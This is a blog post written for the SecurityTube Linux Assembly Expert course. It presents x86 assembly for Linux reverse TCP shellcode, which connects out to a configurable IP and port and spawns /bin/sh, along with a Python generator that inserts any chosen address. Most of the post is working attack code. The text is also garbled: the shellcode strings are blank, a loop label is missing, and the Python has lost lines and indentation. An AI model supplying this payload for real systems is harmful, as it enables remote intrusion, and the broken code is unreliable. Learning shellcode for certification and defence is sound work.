SLAE Assignment 2: Writing Reverse TCP Shellcode

02 May 2013

This is the first assignment in the Securitytube SLAE series. The assignment consists of writing your own reverse TCP shell. I wrote mine based on the analysis I made in a previous assignment. I also wrote a wrapper in python which generates the shellcode containing a custom IP and port.


Github Repository:

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

Student ID: SLAE-251

The assembly code:

global _start
section .text
;initiate the variables and clear the variables (trick from msfpayload)
xor ebx,ebx
mul ebx
;first create a socket by pushing the variables
;sockfd = socket(AF_INET, SOCK_STREAM, 0);
mov al,102 ;move syscall into al, do not use eax or you will end up with 0x00
push ebx; Build the arguments list, 0 indicates the default protocol
inc ebx ; increase to one
push ebx  ; 1 on the stack, this is to indicate that we will be using SOCK_STREAM
push byte 0x2 ; 2 is AF_INET
mov ecx, esp ; move the stackpointer into ecx
int 0x80 ; syscall to create a socket file descriptor
xchg ebx,eax
push byte 0x2; push it on the stack, then pop it into ecx to avoid 0x00 bytes
pop ecx 
  mov BYTE al, 0x3F ; dup2  syscall #63
  int 0x80          ; dup2(c, 0)
  dec ecx           ; count down to 0
  jns dup_loop      ; If the sign flag is not set, ecx is not negative.
push 0x0100007f  ;the IP address
push word 0x697a;port number 31337
mov cx,2
push word cx
mov ecx,esp      ;move the argument pointer into ecx
push byte 0x10   ;move 16 on top of the stack, this is the length of the struct
push ecx                 ;pointer to the argument
push ebx                 ;pointer to the file descriptor
mov ecx,esp
mov al,102               ;move the syscall into al
int 0x80
;call execve as we have done before
; execve(const char *filename, char *const argv [], char *const envp[])
  mov BYTE al, 11   ; execve  syscall #11
  push edx          ; push some nulls for string termination.
  push 0x68732f2f   ; push "//sh" to the stack.
  push 0x6e69622f   ; push "/bin" to the stack.
  mov ebx, esp      ; Put the address of "/bin//sh" into ebx via esp.
  push edx          ; push 32-bit null terminator to stack.
  mov edx, esp      ; This is an empty array for envp.
  push ebx          ; push string addr to stack above null terminator.
  mov ecx, esp      ; This is the argv array with string ptr
  int 0x80          ; execve("/bin//sh", ["/bin//sh", NULL], [NULL])

The generated shellcode:


My wrapper script:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket,struct
from argparse import ArgumentParser
parser = ArgumentParser(description="Shellcode generator")
parser.add_argument("-p","--port",dest="port", help="Provide a port between 1024 and 65535.", required=True,type=int )
parser.add_argument("-a","--address",dest="ip", help="Provide a valid IP address.", required=True,type=str )
args = vars(parser.parse_args())
arg_port = args["port"]
arg_ip = args["ip"]
shellcode1 = \
shellcode2 = \
shellcode3 = \
def ip2long(ip):
    Convert an IP string to long
        packedIP = socket.inet_aton(ip)
    print "IP is not valid"
    hex_IP_string = hex(struct.unpack("!L", packedIP)[0])
    ip_list = list (hex_IP_string)
    ip_list = ip_list[2:]
    ip_string = ""
    for x in range(0, len(ip_list),2):
        ip_string +=  "\\x"+ip_list[x]+ip_list[x+1]
    return ip_string
def portToHex(port):
        hexport  = str (hex(port)[2:] )
        if len (hexport) <= 3:
                temp = list(hexport)
                hex1 = temp[0]
                hex2 = temp[1]
                hex3 = temp[2]
                hexport = "\\x0"+hex1+"\\x"+hex2+hex3
                temp = list(hexport)
                hexport = "\\x"+temp[0]+temp[1]+"\\x"+temp[2]+temp[3]
        return hexport
if arg_port <= 65535 and arg_port >= 1024:
        print "Shellcode for ip %s with port %s:" % (arg_ip,arg_port)
    port = portToHex(arg_port)
        ip = ip2long(arg_ip)
    print shellcode1+ip+shellcode2+port+shellcode3
        print "Port too small. How unfortunate."

And the script in action:

Untitled2 Untitled